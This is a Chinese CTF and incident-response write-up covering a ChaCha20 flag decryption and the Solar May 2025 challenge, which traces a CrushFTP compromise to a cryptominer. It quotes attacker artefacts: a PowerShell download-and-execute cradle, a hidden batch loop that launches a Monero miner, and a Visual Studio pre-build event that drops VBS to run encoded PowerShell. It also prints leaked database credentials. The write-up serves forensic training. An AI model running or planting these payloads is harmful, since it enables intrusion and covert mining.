  }
  return sub_180076850(v6, &unk_180167DA0);
}

跟进发现 sub_18007ABE0 是 ChaCha20 加密算法

__int64 __fastcall sub_18007ABE0(__int64 a1, __int64 a2)
{
  char *v2; // rdi
  __int64 i; // rcx
  char v5[32]; // [rsp+0h] [rbp-20h] BYREF
  char v6; // [rsp+20h] [rbp+0h] BYREF
  int v7; // [rsp+30h] [rbp+10h] BYREF
  _BYTE v8[4]; // [rsp+34h] [rbp+14h] BYREF
  _BYTE v9[4]; // [rsp+38h] [rbp+18h] BYREF
  _BYTE v10[4]; // [rsp+3Ch] [rbp+1Ch] BYREF
  _BYTE v11[4]; // [rsp+40h] [rbp+20h] BYREF
  _BYTE v12[4]; // [rsp+44h] [rbp+24h] BYREF
  _BYTE v13[4]; // [rsp+48h] [rbp+28h] BYREF
  _BYTE v14[4]; // [rsp+4Ch] [rbp+2Ch] BYREF
  _BYTE v15[4]; // [rsp+50h] [rbp+30h] BYREF
  _BYTE v16[4]; // [rsp+54h] [rbp+34h] BYREF
  _BYTE v17[4]; // [rsp+58h] [rbp+38h] BYREF
  _BYTE v18[4]; // [rsp+5Ch] [rbp+3Ch] BYREF
  _BYTE v19[4]; // [rsp+60h] [rbp+40h] BYREF
  _BYTE v20[4]; // [rsp+64h] [rbp+44h] BYREF
  _BYTE v21[4]; // [rsp+68h] [rbp+48h] BYREF
  _BYTE v22[24]; // [rsp+6Ch] [rbp+4Ch] BYREF
  int j; // [rsp+84h] [rbp+64h]
  int k; // [rsp+A4h] [rbp+84h]
  int m; // [rsp+C4h] [rbp+A4h]
  int *v26; // [rsp+198h] [rbp+178h]

  v2 = &v6;
  for ( i = 50i64; i; --i )
  {
    *(_DWORD *)v2 = -858993460;
    v2 += 4;
  }
  sub_1800770F7(&unk_1801AD0A3);
  sub_1800757E3(&v7, a1, 64i64);
  for ( j = 0; j < 20; j += 2 )
  {
    v26 = &v7;
    sub_18007B4B0(&v7, v11, v15, v19);
    v26 = (int *)v8;
    sub_18007B4B0(v8, v12, v16, v20);
    v26 = (int *)v9;
    sub_18007B4B0(v9, v13, v17, v21);
    v26 = (int *)v10;
    sub_18007B4B0(v10, v14, v18, v22);
    v26 = &v7;
    sub_18007B4B0(&v7, v12, v17, v22);
    v26 = (int *)v8;
    sub_18007B4B0(v8, v13, v18, v19);
    v26 = (int *)v9;
    sub_18007B4B0(v9, v14, v15, v20);
    v26 = (int *)v10;
    sub_18007B4B0(v10, v11, v16, v21);
  }
  for ( k = 0; k < 16; ++k )
    *(_DWORD *)&v8[4 * k - 4] += *(_DWORD *)(a1 + 4i64 * k);
  for ( m = 0; m < 16; ++m )
  {
    *(_BYTE *)(a2 + 4 * m) = v8[4 * m - 4];
    *(_BYTE *)(a2 + 4 * m + 1) = BYTE1(*(_DWORD *)&v8[4 * m - 4]);
    *(_BYTE *)(a2 + 4 * m + 2) = BYTE2(*(unsigned int *)&v8[4 * m - 4]);
    *(_BYTE *)(a2 + 4 * m + 3) = HIBYTE(*(unsigned int *)&v8[4 * m - 4]);
  }
  ++*(_DWORD *)(a1 + 48);
  return sub_180076850(v5, &unk_180167C40);
}

sub_18007B4B0 是 ChaCha20 算法的置换函数

__int64 __fastcall sub_18007B4B0(_DWORD *a1, int *a2, _DWORD *a3, int *a4)
{
  __int64 result; // rax

  sub_1800770F7(&unk_1801AD0A3);
  *a1 += *a2;
  *a4 ^= *a1;
  *a4 = HIWORD(*a4) | (*a4 << 16);
  *a3 += *a4;
  *a2 ^= *a3;
  *a2 = ((unsigned int)*a2 >> 20) | (*a2 << 12);
  *a1 += *a2;
  *a4 ^= *a1;
  *a4 = HIBYTE(*a4) | (*a4 << 8);
  *a3 += *a4;
  *a2 ^= *a3;
  result = ((unsigned int)*a2 >> 25) | (*a2 << 7);
  *a2 = result;
  return result;
}

综上所述,加密算法为非标准的 ChaCha20 加密,经过加密后还进行了异或自增

flag.enc 文件数据

12 1D 58 7A 7F 60 FE 96 74 D6 7B 56 67 CE 72 3F F2 D2 CE 47 19 59 9B 09 42 07 2C 55 B7 44 10 DE 46 E5 38 B7 74 95 78 42 95 BD 7D B5 64 55 CD 52 8D D2 69 C6 10 5F 82 29 29 9D 30 F6 B4

ChaCha20 加密算法

import struct
from typing import Generator, Tuple

class ChaCha20:
    def __init__(self, key: bytes, nonce: bytes, counter: int = 0):
        self.state = [
            0x61707865, 0x3320646e, 0x79622d32, 0x6b206574,
            *struct.unpack('<8I', key),
            counter,
            *struct.unpack('<3I', nonce)
        ]

    @staticmethod
    def _quarter_round(a: int, b: int, c: int, d: int) -> Tuple[int, int, int, int]:
        a = (a + b) & 0xFFFFFFFF
        d = ((d ^ a) << 16 | (d ^ a) >> 16) & 0xFFFFFFFF
        c = (c + d) & 0xFFFFFFFF
        b = ((b ^ c) << 12 | (b ^ c) >> 20) & 0xFFFFFFFF
        a = (a + b) & 0xFFFFFFFF
        d = ((d ^ a) << 8 | (d ^ a) >> 24) & 0xFFFFFFFF
        c = (c + d) & 0xFFFFFFFF
        b = ((b ^ c) << 7 | (b ^ c) >> 25) & 0xFFFFFFFF
        return a, b, c, d

    def _generate_block(self) -> bytes:
        state = self.state.copy()
        for _ in range(10):
            state[0], state[4], state[8], state[12] = self._quarter_round(state[0], state[4], state[8], state[12])
            state[1], state[5], state[9], state[13] = self._quarter_round(state[1], state[5], state[9], state[13])
            state[2], state[6], state[10], state[14] = self._quarter_round(state[2], state[6], state[10], state[14])
            state[3], state[7], state[11], state[15] = self._quarter_round(state[3], state[7], state[11], state[15])
            state[0], state[5], state[10], state[15] = self._quarter_round(state[0], state[5], state[10], state[15])
            state[1], state[6], state[11], state[12] = self._quarter_round(state[1], state[6], state[11], state[12])
            state[2], state[7], state[8], state[13] = self._quarter_round(state[2], state[7], state[8], state[13])
            state[3], state[4], state[9], state[14] = self._quarter_round(state[3], state[4], state[9], state[14])
        
        block = bytearray()
        for i in range(16):
            block.extend(struct.pack('<I', (state[i] + self.state[i]) & 0xFFFFFFFF))
        self.state[12] = (self.state[12] + 1) & 0xFFFFFFFF
        return bytes(block)

    def keystream(self) -> Generator[bytes, None, None]:
        while True:
            yield self._generate_block()

def decrypt(ciphertext: bytes, key: str) -> bytes:
    key_bytes = key.ljust(32, '\0').encode()[:32]
    chacha = ChaCha20(key_bytes, b'\x00'*12)
    plain = bytearray()
    
    for i, (c, k) in enumerate(zip(ciphertext, (b for block in chacha.keystream() for b in block))):
        plain.append(((c - 1) % 256) ^ k)
    
    return bytes(plain)

ciphertext = bytes.fromhex("""12 1D 58 7A 7F 60 FE 96 74 D6 7B 56 67 CE 72 3F F2 D2 CE 47 19 59 9B 09 42 07 2C 55 B7 44 10 DE 46 E5 38 B7 74 95 78 42 95 BD 7D B5 64 55 CD 52 8D D2 69 C6 10 5F 82 29 29 9D 30 F6 B4""".replace(" ", "").replace("\n", ""))

print(decrypt(ciphertext, "qewuri").decode('utf-8'))

得到结果

flag{sierting_666_fpdsajf[psdfljnwqrlqwhperhqwoeiurhqweourhp}

2025年Solar应急响应5月月赛

参考文章:solar应急响应月赛(5月)wp - FreeBuf网络安全行业门户2025-5月Solar应急响应月赛WP! - 吾爱破解 - 52pojie.cnSolar 应急响应赛 5 月 Writeup - CloneWith's Page

应急排查

攻击者使用什么漏洞获取了服务器的配置文件?

某某文化有限公司的运维小王刚刚搭建服务器发现cpu莫名的异常的升高请你帮助小王排查一下服务器
pass:Ngy@667788
flag格式为:flag{CVE-2020-12345}

进入靶机,桌面三个文件夹

image-20251107110135647

  • 360SE:360安全浏览器
  • CrushFTP:企业级文件传输服务器软件
  • o2server:开源协同办公与业务开发平台

CrushFTP和o2server都可能是利用点,分析他们的日志

先分析CrushFTP的日志,拼接所有session_logs(写个python脚本实现,不会写就让AI写):

import tkinter as tk
from tkinter import ttk, filedialog, messagebox
import os
from pathlib import Path

class FileConcatenator:
    def __init__(self, root):
        self.root = root
        self.root.title("文件拼接工具")
        self.root.geometry("600x500")
        
        # 存储文件列表
        self.file_list = []
        
        self.setup_ui()
    
    def setup_ui(self):
        # 主框架
        main_frame = ttk.Frame(self.root, padding="10")
        main_frame.grid(row=0, column=0, sticky=(tk.W, tk.E, tk.N, tk.S))
        
        # 配置网格权重
        self.root.columnconfigure(0, weight=1)
        self.root.rowconfigure(0, weight=1)
        main_frame.columnconfigure(1, weight=1)
        main_frame.rowconfigure(1, weight=1)
        
        # 标题
        title_label = ttk.Label(main_frame, text="文件拼接工具", font=("Arial", 16, "bold"))
        title_label.grid(row=0, column=0, columnspan=3, pady=(0, 20))
        
        # 按钮框架
        button_frame = ttk.Frame(main_frame)
        button_frame.grid(row=1, column=0, columnspan=3, pady=(0, 10), sticky=(tk.W, tk.E))
        
        # 导入文件按钮
        import_btn = ttk.Button(button_frame, text="导入文件", command=self.import_files)
        import_btn.pack(side=tk.LEFT, padx=(0, 10))
        
        # 上移按钮
        move_up_btn = ttk.Button(button_frame, text="上移", command=self.move_up)
        move_up_btn.pack(side=tk.LEFT, padx=(0, 10))
        
        # 下移按钮
        move_down_btn = ttk.Button(button_frame, text="下移", command=self.move_down)
        move_down_btn.pack(side=tk.LEFT, padx=(0, 10))
        
        # 删除按钮
        remove_btn = ttk.Button(button_frame, text="删除", command=self.remove_file)
        remove_btn.pack(side=tk.LEFT, padx=(0, 10))
        
        # 清空按钮
        clear_btn = ttk.Button(button_frame, text="清空", command=self.clear_files)
        clear_btn.pack(side=tk.LEFT)
        
        # 文件列表框架
        list_frame = ttk.Frame(main_frame)
        list_frame.grid(row=2, column=0, columnspan=3, sticky=(tk.W, tk.E, tk.N, tk.S), pady=(0, 20))
        list_frame.columnconfigure(0, weight=1)
        list_frame.rowconfigure(0, weight=1)
        
        # 文件列表框
        self.file_listbox = tk.Listbox(list_frame, selectmode=tk.SINGLE)
        self.file_listbox.grid(row=0, column=0, sticky=(tk.W, tk.E, tk.N, tk.S))
        
        # 滚动条
        scrollbar = ttk.Scrollbar(list_frame, orient=tk.VERTICAL, command=self.file_listbox.yview)
        scrollbar.grid(row=0, column=1, sticky=(tk.N, tk.S))
        self.file_listbox.configure(yscrollcommand=scrollbar.set)
        
        # 输出设置框架
        output_frame = ttk.LabelFrame(main_frame, text="输出设置", padding="10")
        output_frame.grid(row=3, column=0, columnspan=3, sticky=(tk.W, tk.E), pady=(0, 20))
        output_frame.columnconfigure(1, weight=1)
        
        # 输出文件名
        ttk.Label(output_frame, text="输出文件名:").grid(row=0, column=0, sticky=tk.W, padx=(0, 10))
        self.output_filename = tk.StringVar(value="combined_output.txt")
        output_entry = ttk.Entry(output_frame, textvariable=self.output_filename)
        output_entry.grid(row=0, column=1, sticky=(tk.W, tk.E), padx=(0, 10))
        
        # 选择输出目录
        ttk.Label(output_frame, text="输出目录:").grid(row=1, column=0, sticky=tk.W, padx=(0, 10))
        self.output_dir = tk.StringVar(value=os.getcwd())
        dir_entry = ttk.Entry(output_frame, textvariable=self.output_dir)
        dir_entry.grid(row=1, column=1, sticky=(tk.W, tk.E), padx=(0, 10))
        browse_dir_btn = ttk.Button(output_frame, text="浏览", command=self.browse_output_dir)
        browse_dir_btn.grid(row=1, column=2)
        
        # 拼接按钮
        concat_btn = ttk.Button(main_frame, text="开始拼接", command=self.concatenate_files)
        concat_btn.grid(row=4, column=0, columnspan=3, pady=10)
        
        # 状态栏
        self.status_var = tk.StringVar(value="就绪")
        status_bar = ttk.Label(main_frame, textvariable=self.status_var, relief=tk.SUNKEN)
        status_bar.grid(row=5, column=0, columnspan=3, sticky=(tk.W, tk.E))
    
    def import_files(self):
        """导入多个文件"""
        files = filedialog.askopenfilenames(
            title="选择要拼接的文件",
            filetypes=[("所有文件", "*.*"), ("文本文件", "*.txt"), ("Python文件", "*.py")]
        )
        
        if files:
            for file_path in files:
                if file_path not in self.file_list:
                    self.file_list.append(file_path)
                    # 显示文件名和路径
                    display_name = f"{os.path.basename(file_path)} - {file_path}"
                    self.file_listbox.insert(tk.END, display_name)
            
            self.status_var.set(f"已导入 {len(files)} 个文件")
    
    def move_up(self):
        """将选中的文件上移"""
        selected = self.file_listbox.curselection()
        if selected and selected[0] > 0:
            index = selected[0]
            # 交换列表中的位置
            self.file_list[index], self.file_list[index-1] = self.file_list[index-1], self.file_list[index]
            # 更新列表框
            self.refresh_listbox()
            # 重新选择移动后的项目
            self.file_listbox.select_set(index-1)
    
    def move_down(self):
        """将选中的文件下移"""
        selected = self.file_listbox.curselection()
        if selected and selected[0] < len(self.file_list) - 1:
            index = selected[0]
            # 交换列表中的位置
            self.file_list[index], self.file_list[index+1] = self.file_list[index+1], self.file_list[index]
            # 更新列表框
            self.refresh_listbox()
            # 重新选择移动后的项目
            self.file_listbox.select_set(index+1)
    
    def remove_file(self):
        """删除选中的文件"""
        selected = self.file_listbox.curselection()
        if selected:
            index = selected[0]
            self.file_list.pop(index)
            self.file_listbox.delete(index)
            self.status_var.set("已删除选中的文件")
    
    def clear_files(self):
        """清空所有文件"""
        if self.file_list:
            if messagebox.askyesno("确认", "确定要清空所有文件吗?"):
                self.file_list.clear()
                self.file_listbox.delete(0, tk.END)
                self.status_var.set("已清空所有文件")
    
    def browse_output_dir(self):
        """选择输出目录"""
        directory = filedialog.askdirectory(title="选择输出目录")
        if directory:
            self.output_dir.set(directory)
    
    def refresh_listbox(self):
        """刷新文件列表框"""
        self.file_listbox.delete(0, tk.END)
        for file_path in self.file_list:
            display_name = f"{os.path.basename(file_path)} - {file_path}"
            self.file_listbox.insert(tk.END, display_name)
    
    def concatenate_files(self):
        """拼接所有文件"""
        if not self.file_list:
            messagebox.showwarning("警告", "请先导入要拼接的文件")
            return
        
        output_filename = self.output_filename.get().strip()
        if not output_filename:
            messagebox.showwarning("警告", "请输入输出文件名")
            return
        
        output_dir = self.output_dir.get().strip()
        if not output_dir:
            messagebox.showwarning("警告", "请选择输出目录")
            return
        
        # 确保输出目录存在
        os.makedirs(output_dir, exist_ok=True)
        
        output_path = os.path.join(output_dir, output_filename)
        
        try:
            with open(output_path, 'w', encoding='utf-8') as outfile:
                for i, file_path in enumerate(self.file_list, 1):
                    try:
                        # 添加文件分隔符
                        if i > 1:
                            outfile.write(f"\n\n{'='*50}\n")
                            outfile.write(f"文件 {i}: {os.path.basename(file_path)}\n")
                            outfile.write(f"{'='*50}\n\n")
                        else:
                            outfile.write(f"{'='*50}\n")
                            outfile.write(f"文件 {i}: {os.path.basename(file_path)}\n")
                            outfile.write(f"{'='*50}\n\n")
                        
                        # 读取并写入文件内容
                        with open(file_path, 'r', encoding='utf-8') as infile:
                            content = infile.read()
                            outfile.write(content)
                            
                    except UnicodeDecodeError:
                        # 如果UTF-8解码失败,尝试其他编码
                        try:
                            with open(file_path, 'r', encoding='gbk') as infile:
                                content = infile.read()
                                outfile.write(content)
                        except Exception as e:
                            outfile.write(f"\n[错误: 无法读取文件 {file_path} - {str(e)}]\n")
                    
                    except Exception as e:
                        outfile.write(f"\n[错误: 无法读取文件 {file_path} - {str(e)}]\n")
            
            self.status_var.set(f"文件拼接完成: {output_path}")
            messagebox.showinfo("完成", f"文件拼接完成!\n输出文件: {output_path}")
            
        except Exception as e:
            self.status_var.set(f"拼接失败: {str(e)}")
            messagebox.showerror("错误", f"文件拼接失败:\n{str(e)}")

def main():
    root = tk.Tk()
    app = FileConcatenator(root)
    root.mainloop()

if __name__ == "__main__":
    main()

前期都是用户anonymous正常登录执行操作:

image-20251107131819334

然后他登录了用户crushadmin,然后断开,没有可疑的地方

image-20251107132108098

第二天,又一个anonymous登录:

image-20251107132326013

23:10:58登录了user1

image-20251107132436619

可疑行为:

image-20251107161608232

<vfs_items type="vector">
  <vfs_items_subitem type="properties">
    <name>C</name>
    <path>/</path>
    <vfs_item type="vector">
      <vfs_item_subitem type="properties">
        <type>DIR</type>
        <url>FILE://C:/</url>
      </vfs_item_subitem>
    </vfs_item>
  </vfs_items_subitem>
</vfs_items>

将本地C盘根目录(FILE://C:/)映射为虚拟文件系统的根目录(/)

<VFS type="properties">
  <item name="/">(read)(view)(resume)</item>
  <item name="/C/">(read)(view)(resume)</item>
</VFS>
  • read: 读取权限
  • view: 查看权限
  • resume: 续传权限

之后断开

日志记录了用户crushadmin直接登录成功(不是以anonymous登录的)在23:10:45有关于user1的请求:

image-20251107132556330

<?xml+version="1.0"+encoding="UTF-8"?>
<user+type="properties">
	<user_name>user1</user_name>
	<password>*******</password>
	<extra_vfs+type="vector"></extra_vfs>
	<version>1.0</version>
	<root_dir>/</root_dir>
	<userVersion>6</userVersion>
	<max_logins>0</max_logins>
	<site>(SITE_PASS)(SITE_DOT)(SITE_EMAILPASSWORD)(CONNECT)</site>
	<created_by_username>crushadmin</created_by_username>
	<created_by_email></created_by_email>
	<created_time>1744120753370</created_time>
	<password_history></password_history>
</user>

可以发现crushadmin被直接登录并创建了用户user1,上网搜索相关漏洞:

image-20251107134054642

后面还有登录user1的操作:

image-20251107152637153

可以发现user1对服务器C:\Users\Administrator\Desktop\o2server\config\externalDataSources.json

C::\Users\Administrator\Desktop\o2server\config\token.json文件进行了downloadAsZip操作,即攻击者获取了服务器的配置文件:

image-20251107152753752

配置文件内容:

C:\Users\Administrator\Desktop\o2server\config\externalDataSources.json

[
  {
    "enable": true,
    "url": "jdbc:sqlserver://127.0.0.1:1433;DatabaseName\u003do2oa;selectMethod\u003dcursor;sendStringParametersAsUnicode\u003dfalse",
    "username": "sa",
    "password": "Ngy@7899",
    "includes": [],
    "excludes": [],
    "logLevel": "ERROR",
    "autoCommit": false,
    "schema": ""
  }
]

C::\Users\Administrator\Desktop\o2server\config\token.json

{
  "key": "",
  "password": "(ENCRYPT:7AlflAgvh4U)",
  "sslKeyStorePassword": "123456",
  "sslKeyManagerPassword": "123456",
  "ssos": [],
  "oauths": [],
  "oauthClients": [],
  "rsaEnable": false
}

攻击者C2服务器IP是什么?

flag格式为:flag{123.123.123.123}

连续上题的思路,攻击者在23:12:59已经得到了数据库的配置,因此我们查询应用程序23:12:59后的日志(使用项目:Fheidt12/Windows_Log: 基于Go编写的windows日志分析工具):

image-20251107162830150

可以发现启动了clr集成(clr enabled的值由0变1)

CLR集成(Common Language Runtime Integration) 是SQL Server中的一项重要功能,它允许在数据库引擎中托管.NET Framework的公共语言运行时(CLR)。

查看系统Windows PowerShell执行日志可看到攻击者执行的Windows PowerShell脚本

image-20251107163753587

poWeRSheLL.eXe -NoProF -w hidden -cOMManD IEX ((new-object net.webclient).downloadstring('http://192.168.60.220:81/cel.ps1))

此处 192.168.60.220 是提供脚本的跳板,并非真正的 C2 服务器

参考文章:Solar 应急响应赛 5 月 Writeup - CloneWith's Page

由于脚本文件没有直接保存(downloadstring 函数的结果会存储在内存而非文件系统),转而猜测该脚本可能负责控制防火墙、维持后门等。毕竟这些操作一定涉及网络,会经由系统的防火墙并记录日志,于是去查看对应时间段前后的安全日志(登录/网络请求)。

结合发起程序、时间等进一步筛选,最终定位到下图:

image-20251107171810354

官方wp:

查看系统Windows PowerShell执行日志可看到攻击者执行的Windows PowerShell脚本(我的题目环境中没有找到)

145024xs4cy5h0jutk03pv

微步分析

145026nsqa3v3nr99sz1qq

系统每天晚上系统都会卡卡的帮小明找到问题出在了那?

flag为配置名称(无空格)
flag{xxxxx}

源于文章:solar应急响应月赛(5月)wp - FreeBuf网络安全行业门户

可能的原因分析

  1. 计划任务(Task Scheduler)
    • Windows 默认有一些维护任务(如Defrag碎片整理、WindowsUpdate自动更新)可能在夜间运行。
    • 检查taskschd.msc(任务计划程序)中的任务。
  2. Windows Update 自动更新
    • WindowsUpdate可能配置为夜间自动更新,占用大量资源。
  3. 磁盘碎片整理(Defrag)
    • 默认情况下,Windows 会定期进行磁盘优化(ScheduledDefrag)。
  4. 防病毒扫描(Windows Defender 或第三方杀毒软件)
    • 可能设置了夜间全盘扫描。
  5. 资源占用高的服务
    • Superfetch(SysMain)、Windows Search索引服务可能导致卡顿。
  6. 虚拟内存(Pagefile)配置问题
    • 如果虚拟内存设置不合理,可能导致系统变卡。

查看任务计划程序,发现每天23:31都会运行数据库备份的vbs脚本:

taskschd.msc

image-20251110091847690

image-20251110092005270

set ws=createobject("wscript.shell")
ws.Run """sqlwscript.cmd""",0
  1. set ws=createobject("wscript.shell")
    • 创建 WScript.Shell 对象实例
    • 该对象提供对 Windows shell 的访问权限
    • 将对象引用赋值给变量 ws
  2. ws.Run """sqlwscript.cmd""",0
    • 调用 Shell 对象的 Run 方法
    • """sqlwscript.cmd""" - 三重引号用于处理路径中的空格
    • 0 - 窗口样式参数,表示隐藏窗口运行

该VSB脚本会在隐藏的窗口中静默运行 sqlwscript.cmd 批处理文件,我们进行分析:

@echo off
cd /d "%~dp0"
:start
sqlwpr.exe -a rx/0 --url b.oracleservice.top --user 46E9UkTFqALXNh2mSbA7WGDoa2i6h4WVgUgPVdT9ZdtweLRvAhWmbvuY1dhEmfjHbsavKXo3eGf5ZRb4qJzFXLVHGYH4moQ -t 0
goto start
行号 命令 功能说明 技术细节
1 @echo off 关闭命令回显 执行时不显示命令本身,只显示输出
2 cd /d "%~dp0" 切换到批处理文件所在目录 %~dp0 = 驱动器和路径,/d 可跨驱动器
3 :start 定义标签 用作 goto 跳转的目标位置
4 sqlwpr.exe ... 执行主程序 加密货币挖矿程序(详见下方分析)
5 goto start 无限循环 程序退出后立即重新启动
参数 功能说明 备注
-a rx/0 指定挖矿算法 RandomX 算法,用于 Monero (XMR) 挖矿
--url b.oracleservice.top 矿池服务器地址 挖矿服务器域名
--user 46E9UkTFqALXNh2mSbA7WGDoa2i6h4WVgUgPVdT9ZdtweLRvAhWmbvuY1dhEmfjHbsavKXo3eGf5ZRb4qJzFXLVHGYH4moQ 钱包地址/矿工标识 Monero 钱包地址,收益归此地址所有者
-t 0 线程数设置 0 = 自动使用所有可用CPU线程

或者在C:\Windows\System32\Tasks中查看Windows 操作系统存储计划任务(Scheduled Tasks)

image-20251110093027590

答案为该任务名称

恶意域名是什么?

flag格式为:flag{xxx.xxxxxxxx.xxx}

由上题分析可得矿池服务器地址,即恶意域名

疑似是什么组织发动的攻击?

flag格式为:flag{123XXX}(无空格注意大小写)

上网搜索香相关威胁情报:

image-20251110093621470

开源项目

使用vscode打开项目.sln项目文件:

image-20251110095244084

源码:

#include <iostream>
using namespace std;
int main() {
	char buffer[100];
	cin.getline(buffer, sizeof(buffer));
	string a = "dnceyvjkq]kq]dcig]dnce";
	for (int i = 0; a[i] != '\0'; i++) {
		a[i] ^= 2;
	}
	if (strcmp(a.c_str(), buffer)) {
		cout << "incorrect" << endl;
	}
	else {
		cout << "incorrect" << endl;
	}
}

(无论输入是否正确都会输出incorrect,修改其一输出即可分辨)

很简单,即对字符串a中的所有字母进行异或2的操作,进行解密:

image-20251110100334272

尝试运行,发现是错误的:

image-20251110095849812

在项目属性-生成事件-生成前事件发现包含生成前事件:

image-20251110100158714

@echo off
setlocal enabledelayedexpansion

set "rnd=%random%%random%%random%"
set "vbsfile=%temp%\%rnd%.vbs"

if 1 equ 1 (
    goto end
)
else(
(
echo Function Base64Decode(strBase64^)
echo     Dim xmlDoc, node
echo     Set xmlDoc = CreateObject("MSXML2.DOMDocument.3.0"^)
echo     Set node = xmlDoc.createElement("b64"^)
echo     node.DataType = "bin.base64"
echo     node.Text = Replace(Replace(strBase64, vbCr, ""^), vbLf, ""^)
echo     Base64Decode = node.NodeTypedValue
echo End Function
echo/
echo Function EncodeForPowerShell(plaintext^)
echo     Dim stream
echo     Set stream = CreateObject("ADODB.Stream"^)
echo     With stream
echo         .Type = 2 
echo         .Charset = "utf-16le"
echo         .Open
echo         .WriteText plaintext
echo         .Position = 0
echo         .Type = 1
echo         .Position = 2
echo         EncodeForPowerShell = .Read
echo     End With
echo     stream.Close
echo End Function
echo/
echo Dim base64Code, decodedBytes, psCommand, encodedCommand
echo/
echo base64Code = "JHRhcmdldCA9ICJMSERoMXgxemRJaVZTK2E1cVlKckJQYjBpeHFIVHhkK3VKLzN0Y2tVZE9xRyttbjExM0U9Ijskaz0iRml4ZWRLZXkxMjMhIjskZD1bU3lzdGVtLlRleHQuRW5jb2RpbmddOjpVVEY4LkdldEJ5dGVzKChSZWFkLUhvc3QgIui+k+WFpeWtl+espuS4siIpKTskcz0wLi4yNTU7JGo9MDswLi4yNTV8JXskaj0oJGorJHNbJF9dK1tieXRlXSRrWyRfJSRrLkxlbmd0aF0pJTI1Njskc1skX10sJHNbJGpdPSRzWyRqXSwkc1skX119OyRpPSRqPTA7JHI9QCgpOyRkfCV7JGk9KCRpKzEpJTI1Njskaj0oJGorJHNbJGldKSUyNTY7JHNbJGldLCRzWyRqXT0kc1skal0sJHNbJGldOyRyKz0kXy1ieG9yJHNbKCRzWyRpXSskc1skal0pJTI1Nl19OyBbU3lzdGVtLkNvbnZlcnRdOjpUb0Jhc2U2NFN0cmluZygkcikgLWVxICR0YXJnZXQ="
echo/
echo On Error Resume Next
echo decodedBytes = Base64Decode(base64Code^)
echo If Err.Number ^<^> 0 Then
echo     WScript.Quit 1
echo End If
echo/
echo Dim stream : Set stream = CreateObject("ADODB.Stream"^)
echo With stream
echo     .Type = 1
echo     .Open
echo     .Write decodedBytes
echo     .Position = 0
echo     .Type = 2
echo     .Charset = "utf-8"
echo     psCommand = .ReadText
echo End With
echo/
echo encodedCommand = Base64Encode(EncodeForPowerShell(psCommand^)^)
echo/
echo Dim shell : Set shell = CreateObject("WScript.Shell"^)
echo shell.Run "powershell.exe -EncodedCommand " ^& encodedCommand,0
echo/
echo Function Base64Encode(bytes^)
echo     Dim xmlDoc, node
echo     Set xmlDoc = CreateObject("MSXML2.DOMDocument.3.0"^)
echo     Set node = xmlDoc.createElement("b64"^)
echo     node.DataType = "bin.base64"
echo     node.NodeTypedValue = bytes
echo     Base64Encode = Replace(Replace(node.Text, vbCr, ""^), vbLf, ""^)
echo End Function
) > "%vbsfile%"


wscript.exe "%vbsfile%"
del /q "%vbsfile%" >nul 2>&1

)

:end

endlocal
序号 原始片段(简化) 类型 / 作用 细节说明 注意 / 建议
1 @echo off 启动设置 关闭命令回显,让批处理运行时不在控制台显示每条命令。 常见,用于美观与隐蔽。
2 setlocal enabledelayedexpansion 环境隔离 + 延迟变量展开 在脚本内部启用局部环境(结束后 endlocal 恢复)并允许 !var! 延迟展开。 虽启用了延迟展开,但脚本内并未实际使用 !var!
3 set "rnd=%random%%random%%random%" set "vbsfile=%temp%\%rnd%.vbs" 生成随机临时文件名 用多个 %random% 拼接生成较长随机数,构造临时 VBS 文件路径(放在 %TEMP% 下)。 增加文件名唯一性,防止冲突;也常用于隐藏痕迹。
4 if 1 equ 1 ( goto end ) else( ... ) 控制流(短路/禁用主逻辑) if 1 equ 1 恒为真,因此会 goto :end,脚本跳到 :end不会进入 else 中的块。也就是说后面用于生成并执行 VBS 的那段代码实际不会被执行(被“屏蔽”了)。 这通常用于临时禁用或作为伪装(让脚本暂时不执行危险逻辑)。若移除或修改判断,则会创建并运行 VBS。不要在不明来源脚本上把它改回去以执行隐藏 payload。
5 (...) > "%vbsfile%"(大段 echo 生成一个临时 VBS 文件 ( … 多行 echo) 的形式把多行输出重定向到 %vbsfile%,也就是把一段 VBScript 写入临时文件。重定向是针对整个括号块的。 这是常见的“批处理生成脚本文件并执行”的做法。注意括号配对要正确,否则会语法出错。
6 VBS 中 Function Base64Decode(strBase64) / Function Base64Encode(bytes) VBS 中的 Base64 编/解函数 使用 MSXML2.DOMDocument.3.0 节点的 DataType="bin.base64" 来实现 base64 解码/编码(Windows 下常用技巧)。 正常实现;解码后得到的是二进制字节流。
7 VBS 中 Function EncodeForPowerShell(plaintext) 将文本编码为 PowerShell 所需字节序列 ADODB.Stream:先以 Type=2(文本)和 Charset="utf-16le" 写入文本,然后切到二进制 Type=1 并把 .Position = 2(跳过 BOM),再读出字节数组。这样得到的是UTF-16LE(无 BOM) 的字节数组,适用于 powershell -EncodedCommand(它期望的是 UTF-16LE)。 关键点:PowerShell 的 -EncodedCommand 要求使用 UTF-16LE 编码并 base64 编码该字节序列。.Position = 2 用于去除 BOM(2 字节)。
8 base64Code = "JHRhcmdldCA9ICJMS..."(长字符串) 嵌入的 Base64 编码内容(payload) 这是一个 base64 字符串变量(看起来是对某段脚本/命令做了 base64 编码),后续通过 Base64Decode 获得原始 bytes,然后用 ADODB.Stream 转为 UTF-8 文本 psCommand 该字符串通常包含被隐藏/混淆的 PowerShell 语句或其它命令。不要随意执行,除非确认内容来源与安全性。
9 On Error Resume Next / decodedBytes = Base64Decode(base64Code) / If Err.Number <> 0 Then WScript.Quit 1 错误处理与解码 开启错误忽略后尝试解码,如果出错则退出(返回非0)。 如果 base64 无效或环境不支持相关 COM 对象会失败。
10 ADODB.Stream 读取 decodedBytes.Charset = "utf-8" -> psCommand = .ReadText 把解码得到的 bytes 转为 UTF-8 文本 先把 bytes 写入 Stream(Type=1 二进制),再切到 Type=2(文本)并指定 Charset="utf-8" 来读取文本,得到 PowerShell 命令字符串 psCommand 说明解出来的 bytes 是 UTF-8 编码的脚本/命令。
11 encodedCommand = Base64Encode(EncodeForPowerShell(psCommand)) powershell -EncodedCommand 做准备 先把 psCommand 按 UTF-16LE(无BOM)编码为字节,之后对这些字节做 base64 编码,得到 PowerShell 可接受的 -EncodedCommand 参数。 这是标准做法:PowerShell 接受 base64 的 UTF-16LE 文本作为 -EncodedCommand
12 shell.Run "powershell.exe -EncodedCommand " & encodedCommand,0 执行 PowerShell(隐藏窗口) 通过 WScript.Shell 启动 powershell.exe 并传入 -EncodedCommand;参数 ,0 表示以隐藏窗口方式运行(不显示控制台)。 该行为典型用于静默执行(也常见于恶意载荷)。如果要调试,可把 0 改为 1 或用 WScript.Echo 打印 psCommand
